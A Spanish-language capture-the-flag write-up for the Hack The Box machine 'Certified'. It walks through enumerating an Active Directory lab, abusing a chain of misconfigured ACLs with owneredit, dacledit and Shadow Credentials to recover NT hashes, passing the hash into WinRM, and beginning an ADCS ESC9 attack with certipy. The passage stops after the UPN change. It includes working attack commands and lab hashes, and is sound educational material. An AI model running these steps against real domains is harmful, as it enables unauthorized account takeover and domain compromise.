Certified
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR.Certifiedes una cajaActive Directorydeassume breach: arrancamos con credenciales válidas de bajo privilegio (judith.mader).BloodHoundrevela una cadena deACLmal puestas:judith.madertiene WriteOwner sobre el grupoManagement, que tiene GenericWrite sobremanagement_svc, que a su vez tiene GenericAll sobreca_operator. Encadenamos los abusos conowneredit/dacledity dos Shadow Credentials para conseguir los hashesNT, y rematamos abusando deADCS(ESC9) para impersonar alAdministratory volcar su hash. Todo sin un solo exploit de memoria: solo permisos mal configurados.
Reconocimiento
Descubrimiento del host
Empezamos identificando el sistema operativo por el TTL del ping:
ping -c 1 10.10.11.41
64 bytes from 10.10.11.41: icmp_seq=1 ttl=127 time=107 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1, un solo salto hasta el laboratorio. Es un indicio, no una prueba (el TTL se puede falsificar); lo confirma el escaneo de servicios.
Escaneo UDP: la firma de un Domain Controller
Antes del TCP, un barrido rápido de los 100 puertos UDP más comunes. En un dominio Windows el UDP suele delatar el rol de la máquina antes incluso de mirar el TCP:
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.11.41 | grep -v 'no-response'
Discovered open port 123/udp on 10.10.11.41
Discovered open port 53/udp on 10.10.11.41
Discovered open port 88/udp on 10.10.11.41
Completed UDP Scan at 15:13, 1.24s elapsed (100 total ports)
Nmap scan report for 10.10.11.41
Host is up, received user-set (0.13s latency).
PORT STATE SERVICE REASON
53/udp open domain udp-response ttl 127
88/udp open kerberos-sec udp-response ttl 127
123/udp open ntp udp-response ttl 127Esos tres juntos (DNS, Kerberos y NTP) son la firma clásica de un Domain Controller. Y el NTP no es decorativo: Kerberos rechaza tickets con más de cinco minutos de desfase, así que ese puerto abierto es también el recordatorio de que habrá que sincronizar el reloj del atacante contra el DC.
Escaneo TCP completo
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.41 -oG scan
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49690/tcp open unknown syn-ack ttl 127
49693/tcp open unknown syn-ack ttl 127
49720/tcp open unknown syn-ack ttl 127
49741/tcp open unknown syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 39.93 secondsDiecinueve puertos. Los seis por encima del 49000 son el rango dinámico de RPC, no servicios distintos: el endpoint mapper del 135 dice al cliente en cuál de ellos vive cada interfaz. Lo que importa de la lista es el resto:
- 389/636/3268/3269:
LDAP,LDAPSy elGlobal Catalog. Cuatro puertos de directorio. - 5985 (
wsman):WinRM. Si conseguimos una cuenta del grupoRemote Management Users, ahí está la shell. - 9389 (
adws):Active Directory Web Services, el que usan los cmdlets dePowerShell.
Para leer los puertos de la salida -oG sin copiarlos a mano, una función auxiliar del .zshrc:

Extracting information...
IP Address: 10.10.11.41
Open ports: 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49689,49690,49693,49720,49741
Ports copied to clipboardVersiones y el desfase de reloj
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49689,49690,49693,49720,49741 -sCV 10.10.11.41 -oN targetedScan
PORT STATE SERVICE VERSION
53/tcp open domain (generic dns response: SERVFAIL)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-19 22:13:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.certified.htb, DNS:certified.htb, DNS:CERTIFIED
| Not valid before: 2025-06-11T21:04:20
|_Not valid after: 2105-05-23T21:04:20
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
...
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-11-19T22:14:28
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m49s, deviation: 0s, median: 6h59m49sTres datos que no conviene pasar por alto:
- El certificado
LDAPSidentifica el host comoDC01.certified.htb, así que ya tenemos nombre de equipo y dominio sin haber tocadoSMB. Message signing enabled and required: la firmaSMBes obligatoria, que es la configuración por defecto en unDC. Eso descarta de entrada cualquier ataque de relaySMB.clock-skew: mean: 6h59m49s: casi siete horas de desfase entre nuestro reloj y el delDC.Kerberostolera cinco minutos, así que todos los ataques que pidan tickets (Kerberoasting,PKINIT…) fallarán conKRB_AP_ERR_SKEWhasta que sincronicemos:
sudo ntpdate certified.htbEs el paso que más tiempo hace perder en cajas AD cuando no se ve venir, y aquí nmap lo avisa desde el principio.
SMB - TCP 445
Una consulta sin credenciales a SMB confirma nombre de equipo y de dominio:
netexec smb 10.10.11.41
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)El equipo es DC01 y el dominio certified.htb. Esta es una caja de assume breach: Hack The Box proporciona credenciales iniciales, así que las guardamos y las validamos.

netexec smb 10.10.11.41 -u 'judith.mader' -p 'judith09' 2>/dev/null
netexec winrm 10.10.11.41 -u 'judith.mader' -p 'judith09' 2>/dev/null
SMB 10.10.11.41 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.41 445 DC01 [+] certified.htb\judith.mader:judith09
WINRM 10.10.11.41 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certified.htb)
WINRM 10.10.11.41 5985 DC01 [-] certified.htb\judith.mader:judith09Las credenciales son válidas ([+] en SMB) pero no dan shell: el [-] de WinRM significa que judith.mader no pertenece a Remote Management Users. Aquí es donde se ve la diferencia entre "tener credenciales" y "tener acceso". Toca enumerar el dominio para buscar el camino.
Antes de nada, el nombre del dominio al /etc/hosts: varias herramientas de Kerberos resuelven el FQDN en lugar de aceptar la IP, y sin esta línea fallan sin explicar por qué.

10.10.11.41 certified.htb dc01.certified.htbRPC - TCP 135: usuarios del dominio
Con las credenciales sacamos la lista de usuarios por RPC, que es la forma más directa de convertir una cuenta de bajo privilegio en un inventario del dominio:
rpcclient -U 'judith.mader'%'judith09' 10.10.11.41 -c enumdomusers
rpcclient -U 'judith.mader'%'judith09' 10.10.11.41 -c enumdomusers | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > userlist.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[judith.mader] rid:[0x44f]
user:[management_svc] rid:[0x451]
user:[ca_operator] rid:[0x452]
user:[alexander.huges] rid:[0x641]
user:[harry.wilson] rid:[0x642]
user:[gregory.cameron] rid:[0x643]Nueve cuentas, tres de ellas integradas (Administrator, Guest, krbtgt). De las seis restantes hay dos con nombre "funcional" en lugar de nombre de persona: management_svc y ca_operator. En AD, un nombre así suele indicar una cuenta de servicio, y las cuentas de servicio suelen tener permisos que las personas no tienen.
Las descripciones a veces guardan contraseñas puestas "temporalmente", así que se comprueban:
rpcclient -U 'judith.mader'%'judith09' 10.10.11.41 -c querydispinfo
index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xfec RID: 0x641 acb: 0x00000210 Account: alexander.huges Name: Alexander Huges Desc: (null)
index: 0xfb4 RID: 0x452 acb: 0x00000210 Account: ca_operator Name: Operator CA Desc: (null)
index: 0xfee RID: 0x643 acb: 0x00000210 Account: gregory.cameron Name: Gregory Cameron Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfed RID: 0x642 acb: 0x00000210 Account: harry.wilson Name: Harry Wilson Desc: (null)
index: 0xfb1 RID: 0x44f acb: 0x00000210 Account: judith.mader Name: Judith Mader Desc: (null)
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xfb3 RID: 0x451 acb: 0x00000210 Account: management_svc Name: management service Desc: (null)Ninguna descripción útil, pero sí un detalle que volverá al final: el Name de ca_operator es literalmente "Operator CA". Ese nombre para mostrar es el que aparecerá más tarde en la salida de certipy, y "CA" en un dominio Windows casi siempre significa Certificate Authority.
AS-REP Roasting: sin resultados
Con la lista de usuarios, el primer ataque clásico de Kerberos. El AS-REP Roasting solo funciona contra cuentas con la preautenticación de Kerberos deshabilitada (UF_DONT_REQUIRE_PREAUTH), y por eso no necesita credenciales:
GetNPUsers.py certified.htb/ -no-pass -usersfile userlist.txt
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User judith.mader doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User management_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ca_operator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User alexander.huges doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User harry.wilson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gregory.cameron doesn't have UF_DONT_REQUIRE_PREAUTH setCero hashes. Merece la pena leer los dos KDC_ERR_CLIENT_REVOKED: corresponden a Guest y krbtgt, que están deshabilitadas, y ese error es distinto de "no tiene la preautenticación desactivada". El KDC está distinguiendo tres estados (cuenta con preauth, cuenta sin preauth, cuenta deshabilitada) y esa distinción es información gratis sobre el dominio.
Kerberoasting: un hash que no cae
El Kerberoasting sí necesita credenciales, y las tenemos. Pide un TGS para cada cuenta que tenga un SPN registrado; ese ticket va cifrado con la clave derivada de la contraseña de la cuenta, así que se puede atacar sin conexión:
sudo ntpdate certified.htb
GetUserSPNs.py certified.htb/'judith.mader':judith09 -request
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
--------------------------------- ------------- ------------------------------------------ -------------------------- ---------
certified.htb/management_svc.DC01 management_svc CN=Management,CN=Users,DC=certified,DC=htb 2024-05-13 15:30:51.476756 <never>
$krb5tgs$23$*management_svc$CERTIFIED.HTB$certified.htb/management_svc*$84c73d9704deb42ffddcb32e7001bffb$25471680ccfbecd56dcb9666685c170ee2dde7ba5d15da36e384<SNIP>Una sola cuenta con SPN, management_svc, y de paso la columna MemberOf ya nos dice que pertenece al grupo Management. Ese dato aparecerá de nuevo en BloodHound.
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:14 DONE (2025-11-19 22:30) 0g/s 973117p/s 973117c/s 973117C/s 10022513..*7¡Vamos!
Session completed.0g en 14 segundos: john recorrió rockyou entero (14 millones de candidatos a casi un millón por segundo) sin un solo acierto. La contraseña de management_svc no es de diccionario, y ese cero es un resultado, no un fallo: descarta el vector y obliga a mirar los permisos del dominio en vez de las contraseñas.
LDAP: quién puede entrar por WinRM
Antes de montar BloodHound, una foto rápida del directorio con ldapdomaindump, que vuelca usuarios, grupos y políticas a HTML navegable:
mkdir ldap && cd ldap
ldapdomaindump -u 'certified.htb\judith.mader' -p judith09 -n 10.10.11.41 certified.htb
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
domain_computers.grep domain_computers_by_os.html domain_groups.json domain_policy.json domain_trusts.json domain_users.json
domain_computers.html domain_groups.grep domain_policy.grep domain_trusts.grep domain_users.grep domain_users_by_group.html
domain_computers.json domain_groups.html domain_policy.html domain_trusts.html domain_users.htmlpython3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Management
CN name SAM Name Flags SID
management service management service management_svc NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 1105
Remote Management Users
CN name SAM Name Flags SID
management service management service management_svc NORMAL_ACCOUNT, DONT_EXPIRE_PASSWD 1105Aquí está el objetivo: management_svc es la única cuenta del grupo Remote Management Users. Es decir, de las nueve cuentas del dominio solo esa puede abrir una sesión WinRM. Todo lo que venga después tiene que llevarnos hasta ella.
BloodHound: la cadena de ACL
ldapdomaindump dice quién está en qué grupo; lo que no dice es quién puede modificar a quién. Eso son las DACL de cada objeto, y para leerlas y cruzarlas está BloodHound. El recolector se ejecuta desde nuestra máquina, sin necesidad de sesión en el objetivo:
bloodhound-python -u judith.mader -p judith09 -ns 10.10.11.41 --zip -c All -d certified.htb
INFO: Found AD domain: certified.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.certified.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Found 10 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.certified.htb
INFO: Done in 00M 26S
INFO: Compressing output into 20251119224818_bloodhound.zipEl ZIP hay que subirlo a una instancia de BloodHound. La forma más corta de levantarla es bloodhound-cli, un binario que despliega el stack completo (la API, la base de datos de aplicación y la de grafo) en contenedores de Docker:
wget https://github.com/SpecterOps/bloodhound-cli/releases/download/v0.1.6/bloodhound-cli-linux-amd64.tar.gz &>/dev/null
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
./bloodhound-cli install
bloodhound-cli
[+] Checking the status of Docker and the Compose plugin ...
[+] Docker and the Compose plugin checks have passed
[+] Starting BloodHound environment installation
[+] Downloading the production YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.yml...
[+] Downloading the development YAML file from https://raw.githubusercontent.com/SpecterOps/BloodHound_CLI/refs/heads/main/docker-compose.dev.yml...
bloodhound Pulling
app-db Pulling
graph-db PullingAl terminar, la instalación imprime una contraseña aleatoria para el usuario admin y deja la interfaz escuchando en http://127.0.0.1:8080:

Ya dentro, el botón de subida de la barra lateral abre el diálogo de ingesta, donde se selecciona el ZIP que acaba de generar el recolector:

Con el grafo cargado se empieza por lo único que controlamos, judith.mader. Su ficha tiene un único Outbound Object Control, y apunta al grupo Management:

JUDITH.MADER@CERTIFIED.HTB ──WriteOwner──> MANAGEMENT@CERTIFIED.HTB
SAM Account Name : judith.mader
Password Last Set : 2024-05-14 19:22 UTC
Password Never Expires : TRUE
Member Of : 2
Outbound Object Control : 1 → MANAGEMENT@CERTIFIED.HTBY ahí está la primera pieza:

MANAGEMENT@CERTIFIED.HTB ──GenericWrite──> MANAGEMENT_SVC@CERTIFIED.HTB
SAM Account Name : Management
Members : 1
Inbound Object Control : 6
Outbound Object Control : 1Y management_svc, a su vez, no es un callejón sin salida:

MANAGEMENT_SVC@CERTIFIED.HTB ──GenericAll──> CA_OPERATOR@CERTIFIED.HTB
SAM Account Name : management_svc
Service Principal Names : certified.htb/management_svc.DC01
Password Never Expires : TRUE
Outbound Object Control : 1 → CA_OPERATOR@CERTIFIED.HTBPuestas en fila, las tres aristas dibujan la ruta completa:

JUDITH.MADER@CERTIFIED.HTB
│ WriteOwner
▼
MANAGEMENT@CERTIFIED.HTB
│ GenericWrite
▼
MANAGEMENT_SVC@CERTIFIED.HTB
│ GenericAll
▼
CA_OPERATOR@CERTIFIED.HTBCada flecha es una ACE mal configurada: una entrada de la DACL del objeto de destino que concede a un principal más control del que debería. Ninguna es un fallo de software; las tres son permisos legítimos, mal repartidos:
judith.maderWriteOwner sobre el grupoManagement.ManagementGenericWrite sobre el usuariomanagement_svc.management_svcGenericAll sobre el usuarioca_operator.
Acceso como management_svc
WriteOwner: apropiarse del grupo Management
BloodHound no solo detecta la relación: en la pestaña de ayuda explica cómo abusarla y con qué herramienta.

WriteOwner no da acceso por sí solo: permite cambiar el propietario del objeto. Pero el propietario de un objeto en Windows tiene siempre WriteDacl implícito, así que la secuencia es en tres pasos: hacerse dueño, reescribir la DACL para concederse escritura de miembros, y añadirse.
owneredit.py -action write -new-owner 'judith.mader' -target 'management' 'certified.htb'/'judith.mader':'judith09'
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
net rpc group addmem "Management" "judith.mader" -U "certified.htb/judith.mader%judith09" -S "10.10.11.41"
net rpc group members "Management" -U "certified.htb/judith.mader%judith09" -S "10.10.11.41"
[*] OwnerSid modified successfully!
[*] DACL backed up to dacledit-20251123-153829.bak
[*] DACL modified successfully!
# net rpc group members Management
CERTIFIED\judith.mader
CERTIFIED\management_svcowneredit nos hace dueños del grupo, dacledit añade el WriteMembers a nuestra cuenta y net rpc group addmem nos mete dentro. La última consulta lista los miembros y confirma que judith.mader ya está ahí junto a management_svc: la verificación es la prueba de que el abuso funcionó, y sin ella el resto de la cadena sería una suposición.
Un apunte para entornos reales: dacledit guarda un .bak de la DACL original. En una auditoría se restaura al terminar; dejar una ACE de más es dejar una puerta abierta.
GenericWrite + Shadow Credentials sobre management_svc
Ya dentro del grupo, heredamos su GenericWrite sobre management_svc. BloodHound lista las formas de abusarlo:


De todas ellas, la más limpia es Shadow Credentials. La idea: si se puede escribir el atributo msDS-KeyCredentialLink de una cuenta, se le puede añadir nuestra propia clave pública como credencial autorizada. A partir de ahí nos autenticamos como esa cuenta por Kerberos PKINIT (certificados) sin conocer ni cambiar su contraseña. Es más discreto que un reseteo: el usuario legítimo sigue entrando con su contraseña de siempre y nada se rompe.
La herramienta es pywhisker:

git clone https://github.com/ShutdownRepo/pywhisker
pip3 install -r requirements.txt --break-system-packages
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add"
[*] KeyCredential generated with DeviceID: 652e2b21-7dc5-956b-d0d0-28af6bbbb5ed
[*] Updating the msDS-KeyCredentialLink attribute of management_svc
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: vVInYE3z.pfx
[*] Must be used with password: BsrTVhATej9j2slt5ww9pywhisker añade la credencial y genera un .pfx con su contraseña. Con ese certificado pedimos un TGT por PKINIT con las PKINITtools y, de la clave de sesión que devuelve el KDC, extraemos el hash NT de la cuenta:
sudo ntpdate certified.htb
python3 gettgtpkinit.py -cert-pfx vVInYE3z.pfx -pfx-pass BsrTVhATej9j2slt5ww9 certified.htb/management_svc management_svc.ccache
KRB5CCNAME=management_svc.ccache python3 getnthash.py -key b47f4989128ce39580747b3f1462768b7f1697b89b41c5ca2c6094094ea5227e -dc-ip 10.10.11.41 certified.htb/management_svc
INFO:minikerberos:AS-REP encryption key (you might need this later):
INFO:minikerberos:b47f4989128ce39580747b3f1462768b7f1697b89b41c5ca2c6094094ea5227e
INFO:minikerberos:Saved TGT to file
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
a091c1832bcdd4677c28b5a6a1295584El -key del segundo comando es exactamente la clave que imprime el primero: gettgtpkinit la marca como "you might need this later" y ese "later" es la línea siguiente. getnthash la usa para descifrar el PAC del ticket y sacar de ahí el hash NT, a091c1832bcdd4677c28b5a6a1295584.
Como esta cuenta sí está en Remote Management Users, lo usamos en un Pass-the-Hash contra WinRM:
netexec smb 10.10.11.41 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584 2>/dev/null
netexec winrm 10.10.11.41 -u 'management_svc' -H a091c1832bcdd4677c28b5a6a1295584 2>/dev/null
evil-winrm -i 10.10.11.41 -u management_svc -H a091c1832bcdd4677c28b5a6a1295584
WINRM 10.10.11.41 5985 DC01 [+] certified.htb\management_svc:a091c1832bcdd4677c28b5a6a1295584 (Pwn3d!)
Evil-WinRM shell v3.7
*Evil-WinRM* PS C:\Users\management_svc\Documents> whoami
certified\management_svcEl (Pwn3d!) de netexec es la confirmación de que la cuenta puede ejecutar código remoto, no solo autenticarse. Sesión PowerShell como management_svc, y con ella la flag de usuario:

*Evil-WinRM* PS C:\Users\management_svc\Documents> type ..\Desktop\user.txt
6fc2531e820ac86b59f8d1cfbd1186baAcceso como ca_operator
GenericAll: segundo Shadow Credentials
management_svc tiene GenericAll sobre ca_operator. GenericAll es el permiso total sobre el objeto, así que incluye implícitamente la escritura de msDS-KeyCredentialLink:

Repetimos exactamente el mismo ataque, esta vez de management_svc a ca_operator. Nótese que ya no usamos contraseña sino el hash recién obtenido:
python3 pywhisker.py -d "certified.htb" -u "management_svc" -H :a091c1832bcdd4677c28b5a6a1295584 --target "ca_operator" --action "add"
python3 gettgtpkinit.py -cert-pfx T3MEYj4w.pfx -pfx-pass WMThW0lAo3wwJh1v3wfi certified.htb/ca_operator ca_operator.ccache
KRB5CCNAME=ca_operator.ccache python3 getnthash.py -key 1bcc0489a9c62f3d428af68a27372670df8b30c593a8ffb5e7d911527908bebe -dc-ip 10.10.11.41 certified.htb/ca_operator
[*] KeyCredential generated with DeviceID: c93c3d92-2e91-18d0-b257-a5ac572ff590
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: T3MEYj4w.pfx
[*] Must be used with password: WMThW0lAo3wwJh1v3wfi
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
b4b86f45c6018f1b664f70805f45d8f2Hash NT de ca_operator: b4b86f45c6018f1b664f70805f45d8f2. Se prueba dónde vale:
netexec smb 10.10.11.41 -u 'ca_operator' -H b4b86f45c6018f1b664f70805f45d8f2 2>/dev/null
netexec winrm 10.10.11.41 -u 'ca_operator' -H b4b86f45c6018f1b664f70805f45d8f2 2>/dev/null
SMB 10.10.11.41 445 DC01 [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2
WINRM 10.10.11.41 5985 DC01 [-] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2El hash es válido ([+] en SMB) pero esta cuenta no está en Remote Management Users, así que no da shell. Es la misma situación que con judith.mader al principio, y la lectura es la misma: si una cuenta no sirve para entrar, sirve para otra cosa. Aquí tres pistas apuntan en la misma dirección: el nombre ca_operator, su nombre para mostrar "Operator CA", y el propio nombre de la máquina, Certified. CA = Certificate Authority.
Escalada de privilegios: ADCS ESC9
Confirmar que hay ADCS
ADCS (Active Directory Certificate Services) es el rol de Windows Server que implementa una PKI dentro del dominio: emite certificados para usuarios, equipos y servicios, y esos certificados sirven para autenticarse. Lo relevante desde el lado ofensivo es que un certificado de autenticación equivale a la identidad que lleva escrita, sin necesitar contraseña ni hash, y que las plantillas mal configuradas dejan que un usuario sin privilegios pida uno a nombre de otro.
netexec ldap certified.htb -u ca_operator -H b4b86f45c6018f1b664f70805f45d8f2 -M adcs
LDAP 10.10.11.41 389 DC01 [+] certified.htb\ca_operator:b4b86f45c6018f1b664f70805f45d8f2
ADCS 10.10.11.41 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.10.11.41 389 DC01 Found PKI Enrollment Server: DC01.certified.htb
ADCS 10.10.11.41 389 DC01 Found CN: certified-DC01-CAConfirmado: hay una CA llamada certified-DC01-CA en el propio DC. El módulo la localiza buscando objetos pKIEnrollmentService en LDAP, que es donde ADCS publica sus servidores de inscripción.
Buscar plantillas vulnerables
La herramienta de referencia para ADCS es certipy, que está empaquetada en Kali:
sudo apt install certipy-ad
Installing:
certipy-ad
Summary:
Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 50
Download size: 122 kB
Space needed: 755 kB / 40.5 GB available
Get:1 http://kali.download/kali kali-rolling/main amd64 certipy-ad all 5.0.3-0kali1 [122 kB]
Fetched 122 kB in 0s (397 kB/s)
Selecting previously unselected package certipy-ad.
Preparing to unpack .../certipy-ad_5.0.3-0kali1_all.deb ...
Unpacking certipy-ad (5.0.3-0kali1) ...
Setting up certipy-ad (5.0.3-0kali1) ...Con ella se enumeran las plantillas de certificado, autenticando con el hash de ca_operator y pidiendo que marque solo las vulnerables:
certipy-ad find -vulnerable -username ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.10.11.41 -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 15 issuance policies
[*] Retrieving CA configuration for 'certified-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'certified-DC01-CA'
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htbDe las 34 plantillas, 12 están habilitadas. Y una de ellas destaca:

Certificate Templates
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities: certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Validity Period : 1000 yearsLas dos líneas que importan van juntas: SubjectAltRequireUpn (el certificado lleva como identidad el UPN del solicitante) y NoSecurityExtension (no se incluye la extensión de seguridad que ataría el certificado al SID). Y certipy lo etiqueta:

Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
[!] Vulnerabilities
ESC9 : Template has no security extension.Dos hechos encajan: la plantilla es ESC9 y los Enrollment Rights incluyen CERTIFIED.HTB\operator ca, que es el nombre para mostrar de nuestro ca_operator.
Cómo funciona ESC9
Normalmente el KDC valida un certificado comparando el SID incrustado en la extensión de seguridad (szOID_NTDS_CA_SECURITY_EXT) con el de la cuenta. Sin esa extensión, la única identidad que lleva el certificado es el UPN, y el UPN es un atributo de texto que se puede cambiar si se tiene control sobre la cuenta. Y control sobre ca_operator lo tenemos: management_svc tiene GenericAll sobre ella.
Esa teoría no hay que reconstruirla a mano: el propio README del repositorio de certipy remite a su wiki, que cubre de ESC1 a ESC16.

Supported AD CS Vulnerabilities
Certipy supports detection and exploitation of AD CS vulnerabilities across the full range of ESC1-ESC16.
For detailed explanations and exploitation steps, refer to the Certipy Wiki.La página de escalada de privilegios describe ESC9 y, de paso, confirma la condición que hace que aquí funcione: que el DC no esté en modo de enlace fuerte de certificados.

ESC9: No Security Extension on Certificate Template
ESC9 vulnerabilities arise when a certificate template is explicitly configured not to include the
szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) security extension in the certificates it issues.
This extension, which contains the requester's SID, was introduced by Microsoft as part of the May 2022
"Certifried" updates (CVE-2022-26923 and KB5014754) to enable "strong certificate mapping".
A template can be configured to omit this extension by setting the CT_FLAG_NO_SECURITY_EXTENSION flag
(value 0x80000) in its msPKI-Enrollment-Flag attribute. If a certificate is issued from such a template:
- It will lack the primary SID security extension (szOID_NTDS_CA_SECURITY_EXT).
- This forces the KDC during Kerberos PKINIT authentication, or Schannel during TLS authentication, to
rely on weaker, legacy mapping methods if the domain is not yet in "Full Enforcement" mode for strong
certificate binding. These weaker methods might include mapping based on the UPN or DNS name found in
the certificate's SAN.
The vulnerability of ESC9 becomes exploitable under these conditions:
- Domain Controller Certificate Binding Mode: The StrongCertificateBindingEnforcement registry key on
Domain Controllers (under HKLM\SYSTEM\CurrentControlSet\Services\Kdc) is set to 1 (Compatibility
Mode) or 0 (Disabled).Y la misma wiki documenta la secuencia paso a paso:



Step 2: Update the victim account's UPN to the target administrator's sAMAccountName.
Step 5: Revert the "victim" account's UPN.
Step 6: Authenticate as the target administrator.Tres movimientos: poner el UPN del Administrator en ca_operator, pedir el certificado (que se emitirá a nombre de Administrator), y devolver el UPN a su valor original antes de usarlo. El tercer paso no es cosmético: dos cuentas con el mismo UPN en el dominio provocan un conflicto que puede hacer fallar la autenticación posterior.
Explotar ESC9
certipy-ad account update -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator -dc-ip 10.10.11.41
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Updating user 'ca_operator':
userPrincipalName : Administrator
